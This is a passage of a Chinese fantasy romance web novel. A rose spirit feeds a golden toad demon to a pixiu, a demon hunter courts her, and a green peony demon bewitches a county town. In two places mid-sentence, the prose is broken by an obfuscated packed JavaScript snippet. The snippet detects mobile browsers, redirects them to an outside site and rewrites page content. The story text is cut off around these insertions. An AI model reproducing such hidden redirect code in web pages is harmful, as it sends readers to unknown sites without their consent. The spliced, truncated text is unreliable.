他强行催动功力,可丹田一阵疼似一阵,心知在金蟾肚子里呆了这么久,法力损耗过度,方才抢攻,已经耗尽力气,不能再硬拼。无奈之下,只得摸出两颗丹药吞下,凝神调息。 公堂之内,季月转了转脖子,发现身边站着个光头小和尚,和一个陌生妇人。 小和尚关切地看着她,“姐姐,你感觉怎么样?” 这双黑白分明的大眼睛有些眼熟,她脑子里那一团浆糊慢慢搅动起来。 “你是……慧心?” 慧心大喜,“姐姐想起来啦!是你救了我!” 和尚、夜逃、白菜、寺庙、金蟾、深井…… 一个个片段在眼前闪过,渐渐连成一串。 想起来了。自己堂堂五百年道行,一个不慎,竟被一只金蟾吞进了肚子。是可忍孰不可忍。 季月定了定神,从怀中摸出个绣着蓝色蝴蝶的拨浪鼓,塞到慧心手里。 “这是给你的。” 慧心懵懵地接过来,“这是何物?” “拨浪鼓,给孩子玩的。”季月看向门外,咬牙道,“你先玩一会,姐姐去去就回。” 公堂内的人见到季月走出去,公堂外面的人可没见到她出来。 她找了个隐蔽的角落,掏出铜镜,念动口诀,金光闪过,从裂开的缝隙里钻了进去。 噗。 一朵鲜妍明丽的月季花落入了具区泽。 正当春日,温暖的湖水泡得整朵花都舒坦了。 混乱的神思渐渐清明。季月枝条轻摆,浮上水面,露出花冠,四下搜寻,不过片刻,便发现了目标。 一头的形如虎豹的瑞兽平躺在湖中,周身花纹密布,颜色似金似玉,巨大的灯笼般的眼睛微微眯起,很是惬意的样子。 季月冲着它喊,“貔貅!” 那瑞兽的头倏地露出水面,头上后仰的角带起一串水花。 “咦,这不是月季嘛。具区泽是我的地盘,别来碍眼。” “你不过是每年春天来泡几天澡,怎么成你的地盘了?” 貔貅眼中射出白光,“难道是你的地盘?过来,打一架。” 季月把花瓣全部收拢,作颓废状,“我现在可没力气打架。你泡完了吗?想不想去吃顿好的?” 貔貅身为瑞兽,在妖界罕有对手,前一天刚吃了一只千年老龟。它把龟壳磨碎了一点点吞进肚子,至今还未消化完,因此听到季月的话,兴致不太高,随口问,“吃什么?” “金蟾。” 貔貅倏地睁大眼睛,头上的角剧烈晃动,“方圆八百里的金蟾早就被我吃尽了,哪里还有金蟾?” “在一个穿过镜子才能到的地方。我带你去。” 貔貅舔了舔嘴唇,金蟾的美味,时隔几百年,还是难以忘怀。 “要是吃不到,我就把你撕碎了塞牙缝。” “我们都打过四场架了,你还信不过我么?” 貔貅一想,觉得有理。 “那走吧。” 季月暗暗得意。整个妖界都知道,貔貅是金蟾的克星,几百年前就把金蟾吃得绝了种。正因如此,她在积善寺闻到金蟾的气味,才没有立刻辨认出来。 季月掏出铜镜,正要念口决,突然想到泉妖上次在人间滞留不走,接连闯祸之事。 “你吃掉金蟾以后,可得赶紧回来。” “为何?” “那个地方对修行有损,呆久了,就打不过别的妖了。” 一句话戳到所有妖的软肋。瑞兽若损了道行,以后还怎么耀武扬威。貔貅当即信以为真,连连点头。 季月笑嘻嘻地把镜子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084271|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 举高,念完口诀。金光笼罩住貔貅硕大的身体,似金似玉的皮毛脱离湖面,带着水珠,一点点隐没在裂缝之中。 徐知县扶着师爷,从几乎全毁的公堂中出来,见到沈灵均正在街上盘膝打坐,头顶隐隐冒出白气。 他适才见到沈大人死而复生,心中一块大石头落地,觉得全县有救了,便拨开人群,用生平未有的温柔语气问道,“沈大人,你感觉如何啊?” 沈灵均专心用功,无法答话。韩思年抢着道,“在下读过几卷修行典籍,看这样子,沈大人是在运功调息。” “哦,要调息多久啊?” 王妙仪泣道,“表哥死里逃生,身子虚弱,该当静养三个月才是。” 徐知县干笑两声,“好,好,养着吧。反正南安县人多,三个月还填不满金蟾的肚子呢。” 韩思年环顾一圈,“黄掌柜呢?” 众人方才惊觉,自从金蟾闯入后,就没再见到他。 一名衙役道,“小的看见他从公堂后面溜走了。” 徐知县喝道,“怎么没拦着?今日之祸,都是因他而起。” “当时所有人都在躲避妖兽,没顾上……” 韩思年请命,“徐大人,在下愿意带人前去缉拿黄掌柜。” 此话一出,所有的衙役不约而同退开三步,在他身周留出一大片空地。 徐知县看着如惊弓之鸟的手下,恨铁不成钢道,“一帮饭桶,跟韩公子走!” 衙役们哭丧着脸,在肚子里暗骂,这个韩公子一刻都不让人消停,简直比妖还可怕。 许小宝躲在人群之中,小声问,“去何处缉拿呢?他杀人无数,死罪难逃,定是逃离本县了。” 韩思年沉吟片刻,“不,他杀人害命,换来的偌大家财,一定舍不得抛下。” 一行人心有余悸地往黄府走去。行至半路,就听到前方传来金蟾的怒吼,又走一段,听到阵阵惊雷般的爆响,再靠近,响声隆隆不绝,大地震动,犹如山丘倒塌,冰河破碎。 众人腿肚子打颤,徘徊不前。直等到响声止歇,才壮着胆子迈步。 他们走到黄府门口,被眼前的景象惊呆了。 黄府钟鸣鼎食,宅邸极尽奢华,占据了半条街。如今这半条街都弥漫着蒸腾的白烟,完全看不清里面是什么。 好不容易等烟雾散去一点,依稀辨认出半截歪斜的院墙。院墙后头,露出一点金光,刺痛了每个人的眼睛。 许小宝高呼,“是金锭!” 众人踮起脚尖,才看清楚。断壁残垣之后,金锭一层层垒起来,堆得有两层楼高。想必宅邸之中,已是满坑满谷。 这样多的金锭,是如何吐出来的。 韩思年声音有些抖,“黄府占地几何,府中有多少人?” 衙役道,“这样规模的宅子,总有个上百人……看样子,一个都没剩下。” “黄仁是否身在其中?” 无人作答。金蟾吃人不留痕迹。黄仁的下落,或许永远都无人知晓了。 天空之中忽然金光大盛,云层中现出一只巨兽的轮廓,四肢张开,脑袋高高昂起,发出撼天动地的咆哮。 “是金蟾!它飞到天上去了!” “它的样子怎么变了?” 韩思年心一沉,“这不是金蟾,是另一只妖兽。” 65. 仁义抵万金(十三) 衙役们望着云中的巨兽,七嘴八舌地议论。 “这头上的角,怎么有些眼熟?” “啊!这不是各大钱庄都供的貔貅么?” 貔貅威风凛凛地降下云头,露出似金似玉的花纹,嗅了嗅金锭,喜笑颜开,一头扎了进去。 随着巨掌翻飞,金锭大把大把扫入口中,像在吃糖炒栗子。零星的金锭飞溅出来,越过半条街,掉在衙役脚下。衙役赶紧捡起,揣在怀里。 金锭山转眼便矮了下去。貔貅眼睛一亮,在金锭深处发现了沉睡的金蟾。 金蟾生于人间,长于人间,无从得知眼前这虎豹似的瑞兽就是自己的天敌,还弓着身子高高跃起,欲和它斗上一斗。 貔貅一把抓过,放入口中大嚼。金蟾毒液辣辣的,提神醒脑,金蟾胃液酸酸的,开胃生津,金蟾蹬腿垂死挣扎,吃起来既有弹性,又有嚼劲。 貔貅几百年没尝到如此美味了,喜不自胜,两只灯笼般的眼睛都眯了起来。 季月从它耳朵后面爬出来,“吃完了么?吃完就赶快回去!” 貔貅含糊道,“急什么?我要细嚼慢咽。” 季月道,“多待一刻,功力就折损一分。” 貔貅一想不错,长尾巴扫过,带起最后一把金锭,跃上云层。 金光闪过,瑞兽凭空消失,留下一地废墟和不知所措的人。 季月将饱餐一顿的貔貅送回具区泽,严词拒绝了对方“打一架”的要求。 这么一通来回奔波,实在是累过了头,连湖水都感觉比刚才凉了,还带着一丝辛辣之气,弄得她一个激灵。 她现在只想回琳琅阁好好睡一觉。 南安县。 韩思年把金蟾被吃的好消息带回县衙,徐知县大喜过望,亲自前去查看。 笼罩黄府的白烟渐渐散去。清理废墟花了整整三日,共搜出金锭五万五千两,黄府一百多男女老幼,尸骨无存。 徐知县下令解除戒严,将黄仁的罪行通报全县,闻者无不震惊。 百姓一出门,便蜂拥到积善寺、豆市巷、黄府三处,围观金蟾留下的“遗迹”,指指点点,议论纷纷。 更有不少人,在墙角、树根等犄角旮旯里搜刮出金粉金粒,捡了回去,一时之间,各大钱庄门庭若市,挤满了要兑金子的人。 然而这些和县衙所得比起来,不过是九牛一毛。金蟾所到之处,残留的金锭,都被搬回县衙,用作重修毁坏的街道、房屋。徐知县本想搜刮黄掌柜一笔钱,加高河堤,造个声势浩大的防妖工程,如今钱是现成的,还比预想中多了许多。他暗自感叹因祸得福,命令流水般发下去,一夜之间便召集大批工匠,轰轰烈烈干了起来。 沈灵均被接回府中,精心照料。王妙仪声泪俱下地定了规矩,不许起床,不许操心,不许打听任何外界的事,一切以专心静养为要,不养胖十斤,不许出门。 沈灵均解释得唇焦舌燥,自己是一时力竭,已经恢复,没有大碍,可任他功力再深,剑锋再利,也敌不过表妹的眼泪攻势。又听说她误以为自己死了,肝肠寸断,几次哭晕过去,也深感歉疚。他在金蟾腹中固然煎熬,外面的家人揪心难过,煎熬更甚于他。 于是他乖乖听命,卧床养伤,每日早中晚,喝三次滋补汤药。 其间,韩思年来了几次,要面见沈大人,畅谈捉妖之道和未来的人生方向,皆被王妙仪无情地拦在门外。 他苦于无处诉说,便拉着王妙仪大谈特谈,说等天一道人回来了,自己要拜他为师,学习道法剑术,要游历四方,捉满一百只妖,还说记下了吃掉金蟾的瑞兽的样子,说不定以后有缘,会再遇上。 王妙仪起初听得厌烦,不时在言语中泼些冷水,听到后来,却暗暗心折。这韩公子明明什么都不会,却有一种英勇无畏,百折不挠的意志,人人害怕退缩之时,他反而冲在前面,这一点,倒和自己表哥颇为相像。 韩思年放弃科考,父母自然极力反对,家人之间几乎决裂,他也不愿回家待着。正好有个王妙仪愿意听他说话,他便成日赖在沈府不肯走,非要等沈伯下了逐客令,才依依不舍地离开。 沈灵均在卧房之中百无聊赖,偶尔运起功力,偷听他们说话。听了几回,对韩思年此人更无好感。先前频频向季月献殷勤,如今又来骚扰表妹,三心二意,油嘴滑舌。要入玄门正宗,须得摈弃世俗之念,一心修道,这浮华浪子怎能做到?光是要他闭上嘴巴,静心打坐几个时辰,就难如登天了。 季月还说他人不错,妖的眼光,果然很差,下次见到她,要多提点提点。 想到季月,宁定多日的心神突然又躁动起来。 金蟾腹中,金钟罩内,她靠在怀里说的话,有几分清醒,几分糊涂,几分真情,几分假意? 她如今还记得多少?为什么还不来找他? 季月在家中躺了几日,便闲不住了,出门瞎逛。 她先去了趟豆市巷,关怀了一下小和尚慧心。慧心如今被那痛失儿子的妇人收养,每天跟着义母剥豆子、卖豆子。他聪明伶俐,手脚勤快,又会讨顾客欢心,豆子铺的生意一天好似一天。妇人原本寡居多年,又不幸痛失爱子,如今有这么一个义子伴在身旁,也可稍慰心中伤痛。 慧心的两位师兄,慧觉和慧能,当日昏倒在县衙,醒来后,对广义方丈指使他们抛尸井中的勾当供认不讳。如今关在大牢之中,只等秋后问斩。 季月在豆市巷坐了一上午,喝下三碗加了冰糖的红豆羹,心满意足地告辞。 沿着玉川河岸溜达,暮春午间的阳光已有些火辣辣,晒在背上,沁出一层薄汗。 她专挑柳树浓荫里走,不自觉拐到沈府所在的清和街。 这条街一向僻静,两三个姑娘摇着团扇,嬉笑而过。桥下碧水之中,一行绿头鸭悠闲地游过。 她撇了撇嘴,换了个方向。 体内的汁液不停地冲击心脏,像要造反,她干脆来个置之不理。 金蟾腹中发生的事,她记不太清了,只能回想起一些零星的画面。 她抱怨妖界弱肉强食,有打不完的架;她靠在沈灵均坚实宽阔的胸膛上取暖;她迷迷糊糊地睁开眼,看到一座横过来的小山一起一伏,原来是沈灵均的喉结;她坦白承认喜欢沈灵均…… 清醒过来以后,每一幕都让她羞愧难当。 如果这些都是真的,她说了那么多不该说的,妖的身份,已然暴露无遗。 这么多天过去,沈灵均为什么还没来找她打架?他身为南安县唯一的捉妖师,不是立志逢妖必杀吗? 如果他找她打架,她要不要手下留情?直接逃走,会不会太没出息…… 如果这些都是假的,那她究竟是中了什么毒,会臆想出那么多荒唐的事?难道她对沈灵均的心思,已经如此饥渴难耐了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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走了两步,发现一条手臂拦在眼前。 他语调低了八度,和刚才截然不同,“好吧,是我编的。” 季月回过头,见他神情肃穆,眉宇间还有一丝怅然。 “其实是我对你心悦已久,所以想尽办法接近你,探知你的心意。也是我饱受相思之苦,既怕你不知道,又怕你知道了,反而会拒我于千里之外。” 季月耳中轰的一声,面上发烧,渐渐显出花心的颜色。 他的脸越来越近,近得可以看到肌肤上的毛孔,根根分明的睫毛,和深褐色瞳孔中自己呆滞的脸。 “你……你要干嘛?” 那两片柔软的嘴唇会突然分开,把她吞进肚子吗?不,不会的。他又不是妖。 沈灵均低语,“一般姑娘,在这种时候,会闭上眼睛。” 季月反而睁大眼睛,“偏不。” 他便吻了上来。嘴唇相接,温软香甜,胜过此前尝到的一切人间美味。季月浑身僵硬,沈灵均则一手揽过她纤细的腰肢,一手托在脑后,日光下一对影子交叠,宛转缠绕,犹如并蒂连理的花枝。 许大娘挎着满满当当的菜篮子,正在过桥,猛然看到沈府院墙一侧,有一男一女,光天化日之下抱在一起,当街接吻。 她探出大半个身子,定睛一看,不是别人,正是那位一心修道,脱离世俗的沈大人,和自家隔壁那位千娇百媚,放浪形骸的季姑娘。 许大娘又震惊又激动,恨不得插上翅膀飞到茶楼,把这个大新闻告诉全县的人,兴奋之余,一不小心失去平衡,连人带菜,掉入了清凌凌的玉川之中。 66. 牡丹真国色(一) 春夜撩人。 蛙声鼓噪,野猫长嘶,蜂蝶嗡鸣不绝于耳,搅得空气悸动不安。 徐知县不记得自己是怎么走到这儿的。上一刻,他还在庆真楼的雅间里,举着酒杯高谈阔论。一晃眼,却来到一座平生未见的精致庭院中,空中不见月影,四下不见灯烛,一草一木自行发出光亮。 徐知县向来不喜花儿草儿,奈何鼻中闻到一阵阵馥郁芳香,好像无数花朵一起绽放,异常勾人。 袖子被扯了一下。一低头,只见一个半人高的小姑娘仰脸望着他,一身白衣,系着白色发带,脸庞虽清瘦,却有一股坚韧之气。 “你是谁家孩子?” “你是谁家大人?” 徐知县瞪眼,“大胆!本官乃是一县之长。” 小姑娘抿嘴笑道,“一县之长,你赶上这百年一遇的斗花大会,怎么只在门外徘徊,不敢进去呢?” 徐知县从未听说过“斗花大会”,正要多问几句,见那孩子笑得放肆,转念一想,自己若出言相询,定会被她嘲笑堂堂知县,见识还不及一个小姑娘,且先沉住气,进去看看再说。 正想着,草丛后转出一个黄衣女子,身形窈窕,姿容艳丽。徐知县一瞥之下,立时想起曾经出现在大牢里的那张脸,惊得跳了起来,大叫,“妖……妖!” 女子好奇的目光在他脸上打了个转,缓缓走近,个头倒比徐知县还高。 “你这人,有点见识。”她转向小女孩,“主人吩咐,今晚有贵客到,要我们好生迎接。” 徐知县腰间一紧,被一股大力拖拽,双脚离地,身不由主地向前。 层层叠叠的篱笆后面,转出许多美人来,与他擦肩而过。匆匆一瞥间,只觉环肥燕瘦,各有千秋。 美人们嬉笑打闹,口吐馨香,喷在他面颊上,比什么脂粉线香都好闻,熏得他飘飘欲仙。 前方,两扇沉香木门豁然洞开,露出富丽堂皇的厅堂。四根大圆柱撑起屋顶,汉白玉的阶梯层层叠叠,高耸入云,一眼望不到头。每一级阶梯两旁,都有盛装美人或坐或卧,有的对他微笑致意,有的扬起下巴,不屑一顾。 徐知县也算是欢场老手,细看那些美人,只觉个个惊艳,清丽者有之,妩媚者有之,比平日见惯的庸脂俗粉不知强上多少倍。一颗心砰砰直跳,如同老鼠掉进了米缸,恨不得多长出几只眼,好看个仔细。 她们离不开自己所处的台阶,只一味催促他向上爬。徐知县平日好吃懒做,走不了几步路,今天却不知哪里来的力气,爬了一百多级,丝毫不觉疲累。 越是往上,台阶越高,香气越浓,白雾缭绕,真如仙境一般。美人们的容颜更是丽得惊人,堪比九天仙子下凡。 爬到后来,几乎手脚并用。最上方的台阶有将近半人高,他抬起粗壮的腿,扭着笨重的腰,翻了几次,都没翻上去,梗着脖子喘粗气。 头顶香雾徐徐散开,现出一个绿衣身影。那绿色十分特别,比枝头新芽深,比翠鸟羽毛浅,似乎是春日大地生发出的绿,又如春水荡漾,甜得醉人。 此地成百上千的美人,只有这一个穿绿的。 绿衣人身材有常人的两倍高,脸如银盆,唇似点朱,寒星般的眸子往底下一扫,徐知县顿时呼吸凝滞,双膝一软,拜倒在地。 下方无数美人一同拜倒,敲冰戛玉般的声音齐颂,“恭贺主人艳冠群芳,花界称王!” 徐知县恍然大悟。此等气度风范,只能是花中之王。 他不由地匍匐在地,“今日得见王上芳容,三生有幸,不知王上驾临本县,有何示下?” 王上微微欠身,“自然是来赐福的。若你叫出我的身份,便有数不尽的好处。” “你是百花仙子!花神降世!” “呵,世间所有的花,都要在我脚下俯首称臣!” 台阶下一片骚动,仿佛疾风吹过,众花纷纷点头。 王上咧开嘴,露出两排尖利的牙齿,咯咯直笑,“吾乃花中之王,绿牡丹!” 沈灵均信步穿过柳荫。难得不背剑出门,整个人都轻快许多。玉川沿岸,摊贩成行,摊主们不住地叫卖各种稀奇玩意儿。他步履匆匆,刚走过望月桥,迎面遇上了许大娘。 许大娘穿着和落水那日一样的衣服,胳膊上挎着个菜篮子,见了他,眼睛瞪得溜圆,两片薄薄的薄唇一张,眼看就要说出千言万语来。 沈灵均见机极快,略一点头,使出轻功步法,侧身闪开,一下子走出好远,仍感到许大娘的两道目光黏在自己后脑勺上。 前几日,她目击沈灵均和季月当街拥吻,激动过头,不慎落水,多亏沈灵均及时把她捞起来。事后她非但不知恩图报,还把这桩绯闻添油加醋,逢人就说。不出几个时辰,全县的男女老少都知道了。 男的大多斥责沈大人德行有亏,败坏姑娘名节。女的大多怪罪季月红颜祸水,害得人家道心破碎,多年清修毁于一旦。 沈灵均出门时还不觉得什么。坊间闲言碎语,他向来一笑而过,并不放在心上。可撞见许大娘,被她像看采花贼似的逼视一番,倒有些不自在起来。 等他走到琳琅阁门口,见到两扇乌木大门紧闭,就更不自在了。 阳光洒在镀金门环上,耀眼生花。 他定了定神,伸手叩门。 等了许久,季月才从门缝里探出头来。一见是他,便眯起眼睛。 “是你啊。有何贵干?” 阳光洒在她半边乌发上,好像镀了一层金色。沈灵均觉得自己的脸上有些发烫。 “你向来不关大门。今日这是防谁?” 季月嘴角翘了翘,“防登徒子。” 沈灵均从腰间取出一把折扇,徐徐展开,轻摇几下,“何为登徒子?” “你竟不知?” “沈某是正人君子,自然不知。” 季月噎了一下,“许大娘说了,于光天化日行轻薄之举的,就是登徒子。” 沈灵均默然片刻,正色道,“前番唐突,实因情不自禁。阿月,你在家乡可有婚约?” “啊?” “若是没有,沈某立刻上门提亲。” 季月吓了一跳。妖界没有成婚一说。何况她来人间只为躺平,虽然喜欢沈灵均,也只是喜欢而已。愣了半天,憋出一句,“你不是修道之人么?” 沈灵均目光灼灼,“若得阿月垂青,这个道不修也罢。” 看他的样子,像是中了蛊。季月脸上滚烫,退了半步,“等……等我去打听打 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仓促间要觅得奇花,对人来说十分棘手,对花妖来说,可谓轻而易举。 不料季月一听“牡丹”二字,当即柳眉倒竖,怒道,“我最讨厌的就是牡丹!别在我面前提她!” 沈灵均愕然,“为何?” “丑死了!世上再没有比牡丹更丑的花儿!” 沈灵均看她咬牙切齿的样子,便道,“我也不喜欢牡丹,奈何徐知县执意要办赏花大会,为了寻花闹得人仰马翻。其实一样是赏花,还不如赏月季,我看你这里的花比牡丹美得多了。” 季月立刻转嗔为喜,“有眼光!” 沈灵均微笑,“看你种花技艺高超,可否指点一二?” “好说。” 季月走到一株盛开的花前,闭目听了片刻,喃喃道,“你渴了,要喝水?等着啊!” 她进屋取出一把铜壶,围绕枝干浇了一圈。 走到两株尚未绽开的花苞前,“什么?你们嫌太挤,要分开住?真麻烦!” 她拿出一把小铲子,运使如风,三下两下,就将其中一株连根挖出来,换了个位置栽下。 走到篱笆边,对一株幼弱花苗道,“小小年纪不学好,果然得病了吧!再晒几天太阳,把虫子清清干净。” 沈灵均奇道,“你在和花说话?” “是啊。种花简单得很,只要听它们讲话,满足它们的要求,就可以了。” “我怎么听不到?” 季月狡黠一笑,“你脚边那朵正在尖叫,说你压到它的头了。” 沈灵均低头看去,果然,自己的扇子无意中点在花冠一侧,把花瓣都压弯了。 他抬起折扇,沉吟道,“身为草木却口吐人言,岂不成了妖?” 季月暗自好笑。修炼成妖哪有那么容易。沈灵均真是异想天开。 她很自然地拉过他的胳膊,“有你沈大人在此坐镇,它们怎敢造次?咦,你那把剑呢?” 沈灵均垂眸看她,“放心吧,对付区区月季,还用不上斩妖剑。” 季月眼睛忽闪忽闪的,突然有种异样之感。这人似乎话里有话。 67. 牡丹真国色(二) 常言道,有志者事竟成。 虽是春末夏初,牡丹花期已过,士绅们为了讨知县大人喜欢,如八仙过海,各显神通,硬是搜罗来几十株名贵牡丹,在镜湖之畔一字排开。南安县百姓向来爱凑热闹,遇上如此赏花盛事,自然是一呼百应,争相围观。湖边人头攒动,摩肩接踵。 那一排牡丹之中,姚黄作陪,魏紫退后,赵粉俯首,居于正中的,乃是一株豆绿。罕见的粉绿色花瓣在阳光下晶莹剔透,玲珑可爱。 徐知县由众人簇拥而来,见了那绿牡丹,大喜过望,从怀里捧出一个铜香炉,恭恭敬敬地放在花前。 百姓们摸不着头脑,知县大人这是要给花上香?只听说过种花、赏花,没听说过把花供起来的。 徐知县掏出三支线香,引燃了,插在香炉之中,低声祝祷,“求牡丹仙子降下福泽,庇佑本县!” 献花的士绅们不明所以,便依样画葫芦,双手合十,做祷告状。 一炷香还未燃到一半,那株豆绿却起了变化。 花瓣颜色越来越淡,花蕊之中,竟流出绿色的汁液来。 徐知县慧眼如炬,伸指沾了一点,拿到眼前。观其色泽,像是染料,观其质地,像是染料,嗅其气味……就是地地道道的染料! 再看那靠近香炉的花瓣,绿色已经完全脱落,暴露出纯白的本色。 徐知县勃然大怒,从身后提溜出一个人来,“你好大的狗胆,竟敢染绿白色牡丹来糊弄本官!” 他那嫡亲侄子眼见动的手脚败露,扑倒在地求饶,“叔叔息怒,绿色牡丹实在难寻,小侄是迫不得已,才出此下策啊。” “蠢货!要是触怒了牡丹花仙,这罪责你可担得起?” “花仙?哪里来的花仙?” 话音未落,镜湖水面忽起涟漪,怒涛冲天而起,拍上岸边,将千辛万苦寻来的几十株牡丹一股脑儿卷入水中。 湖心亭传来一声巨响,六角形的顶飞了出去,炸成碎片,众人惊呼中,一个高大的绿色身影在白雾中隐现。 徐知县激动得浑身颤抖,大喊,“牡丹仙子降世了!” 那女子和他梦中所见一模一样,周身自带白雾,一张勾魂夺魄的面容,把所有人的目光吸了过去。耳畔同时听到一段宛转的仙乐,优美清雅之极。 绿牡丹的声音隆隆响起,“有我这真牡丹在此,还要那些劳什子假花做什么?” 人们脑中浑浑噩噩,只知道这女子的声音就是世间唯一的真理,扑通,扑通,一个接一个跪倒在地,喊道,“恭迎牡丹仙子!牡丹仙子万岁万万岁!” 绿牡丹在妖界横行多年,折磨过的妖不计其数,最大的心愿就是在斗花大会上称王称霸,将所有的花踩在脚下。如今略施小计,就让大批凡人心悦诚服,只觉得畅快非凡。 她仪态万方地举起手,“吾乃花中之王。从今以后,也是你们的王。” 自徐知县以下,竟无一人有异议,皆欢喜落泪道,“恭请牡丹花王莅临本县,主持大局。” 许多人涌到通往湖心亭的栈道上,脸上是做梦般的痴迷神色,伸长了手,想要摸一摸牡丹仙子的衣角。 空中突然传来一声断喝,“何方妖孽,竟敢蛊惑人心!” 绿牡丹举目一望,人群后方,有个白衣男子手持折扇,飞掠而来。 沈灵均这三日几乎住在琳琅阁,与季月朝夕相对,乐不思蜀,早就把牡丹花会忘在了脑后。 今日约好去小仓山踏青,途经湖边,才惊觉有异。男女老少个个像丢了魂似的,痴痴傻傻,显然是中了妖法。 虽然没有察觉到妖气,可亭中女子是妖无疑。 他落入人群,正要出手,眼前却竖起一堵人墙。 为首的是卖早点的张阿伯。平日他见了谁都客气有加,此时却指着沈灵均的鼻子骂道,“你这小子,见了花仙,为何不拜?!” 沈灵均无奈道,“你们中了妖法,快快让开。” 张阿伯寸步不让。沈灵均飞身而起,双腿竟被许多双手同时扯住,拽了下来。 韩思年不知从哪儿冲出来,抱住他的腰,高喊,“沈大人,花仙降世,千载难逢!你快随我们一道祈福吧!” 他双眼放光,脸上那股兴奋劲,和曾经信誓旦旦,发愿拜师捉妖时一模一样。 沈灵均又惊又恼,一掌将他挥开。转眼又有许多人围了上来。 他望向绿牡丹。那妖理了理鬓发,冲他一笑,当真是雍容华贵,国色天香,不可逼视。 心神略一荡漾,急忙稳住。 此妖的道行,恐怕不在季月之下。 绿牡丹动了动手指,数名衙役竟同时抢上,按住了沈灵均,粗重的精钢锁链在他手腕上绕了两圈。 徐知县走到跟前,怒容满面,下巴上的肥肉不住颤抖。 “看来沈大人失心疯了。即刻关入大牢,不许他出来生事。” 站在一边的许小宝领命,抽出钢刀,架在他脖子上。 沈灵均看着这些熟人脸上陌生的表情,又好气又好笑,“是我疯了,还是你们都疯了?” 徐知县懒得理他,转过身,诚惶诚恐地向绿牡丹告罪,“花仙息怒,此人是个刺头,向来无事生非,到处作怪。我南安县民众礼敬花仙,其心至诚。花仙但有所命,绝无不从。” 绿牡丹尖声大笑,“原来如此,我还当他有什么真本事呢。” 沈灵均要挣脱锁链,就必须动用法力,但看周围站满了人,恐怕会伤及无辜。 凝神望向绿牡丹,冰肌玉骨之下,隐隐现出一朵牡丹花的轮廓,花冠巨大,色泽粉绿,确实十分罕见。 “你来南安县,有何目的?” 绿牡丹冷笑,“寻仇啊。” “本地民众向来安分度日,怎会和你结仇?” 绿牡丹软绵绵的长袖好似被风吹动,轻轻一拂。突然,沈灵均的胸口如遭利刃洞穿,剧痛之下,鲜血狂喷,把钢刀都染红了。 绿牡丹大笑,“这不就结下仇了么?” 花仙凶相毕露,出手伤人,众人却毫不惊惧,好像根本没有瞧见。 徐知县催促,“还愣着干什么,快将他关起来,免得污了花仙的尊目!” 沈灵均用力推开衙役,正欲扑上去硬碰硬,突然左右两肋同时一凉。低头一看,两截明晃晃的钢刀同时洞穿身体,戳了四个窟窿,血流如注。< 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小仓山上和风暖阳,景色怡人,季月从清晨等到午后,还不见沈灵均的影子。 明明是他定的约会,竟然不来赴约。她颇为着恼,这人不讲信誉,要提亲云云,多半也是随口说说的。 不过今日的小仓山和以往不同,冷冷清清的。莫非县里有什么盛会,把踏青的人都勾走了? 季月满心疑惑,下山往回走。 街市上车马喧嚣,一如往常。她环顾四周,揉揉眼睛,不对劲,怎么到处都是绿色? 姑娘们换上了绿衣绿裙,手上戴绿宝石,头上系绿发带。摊主们撑起绿伞,小食铺不卖红豆糕,改卖青团,连酒肆前的彩楼欢门都换成了绿丝带。 仔细一看,正是她最讨厌的那朵牡丹花的粉绿色。 季月拦住一人问道,“今天是什么日子?大家为何都变绿了?” 那人双眼放空,瞪着天边,喃喃道,“牡丹国王登基,我要赶去拜见。” “牡丹怎能当国王?!” “牡丹国色天香,天生就是王。” “胡说!” 那人板起脸,“你是何人?别挡路!” 季月见他匆匆离去,便悄悄跟在后面,穿大街过小巷,不多时,来到镜湖边。 阳光洒在湖面,波光粼粼,煞是好看。南安县居民爱凑热闹,人山人海的景象季月见过多次,也不以为异。可走进人堆里,仔细一瞧,男女老幼皆貌若痴呆,期期艾艾地望向湖心亭。 亭子缺了顶,四周围起一圈绿色帘幕。季月只扫了一眼,立刻如坠冰窟,浑身的汁液都凝结了,脱口叫道,“绿牡丹!” 帘幕之中,高台之上,正是那纠缠了她一百年,打了无数架,仇怨比海深,不共戴天的死对头。 绿牡丹见她来了,眉开眼笑,竖起手指,做了个噤声的手势。 仿佛时空静止。湖边所有人瞬时五感尽失,定在原地。 绿牡丹勾了勾手指,狞笑道,“月季,好久不见。你以为逃到人间,我就找不到你了?” 68. 牡丹真国色(三) 虽然变幻了人形,可雍容华贵的皮囊底下,还是那只穷凶极恶的妖。 季月强压住恐惧,问道,“你怎么会在这里?” “跟着你来的呀。具区泽里的水好喝吗?” 季月一怔。自己何曾喝过具区泽的水?莫非是上次送貔貅回去的时候? 当时她刚从金蟾腹中逃脱,一边着急搬救兵,一边还要防着救兵找她打架,弄得精疲力尽。 可再怎么大意,也不会对这么大一只妖视而不见啊。 绿牡丹得意道,“我当时施了个法术,藏在水里,被你一口吞了下去。你为了躲我,可真够下血本的,连家都不要了。要不是我从泉妖嘴里问出你的消息,还以为哪只妖已经把你给吃了呢。” “这不可能,当时湖里根本没有你的气味!” “那你现在能闻到我的气味吗?” 季月张口结舌。绿牡丹离她不过几丈远,可空气中只有人群散发的浊臭。 “你竟然学会了收敛气息?!” 绿牡丹哈哈大笑,“我的本事,可比你强多了。” 季月望着她的血盆大口,一时万念俱灰。她费尽千辛万苦,变卖全部身家逃到人间,就是为了躲开绿牡丹,没想到一朝不慎,前功尽弃。 褐色枝条划破衣襟,挡在身前,上头的尖刺根根立起。 “你既然追来了,要打就打吧。” 妖界的仇怨大都如此,除非一方吃掉另一方,否则永无终结。该来的总会来,逃不过。 绿牡丹却没动弹,“你来人间多久了?都做了什么?” 季月略一回想:躺平,吃美食,听邻居八卦,对小妖施法,和捉妖师调情。每天都忙得很。 “与你何干?” “这里的人很好,稍加引诱,便尊我为王,比妖界的妖听话多了。” 季月打量着四周泥塑木雕般的人们,“他们不过是提线木偶,口中所说尽是梦话,一旦醒来,什么都不会记得。你施法控制他们,图什么?” 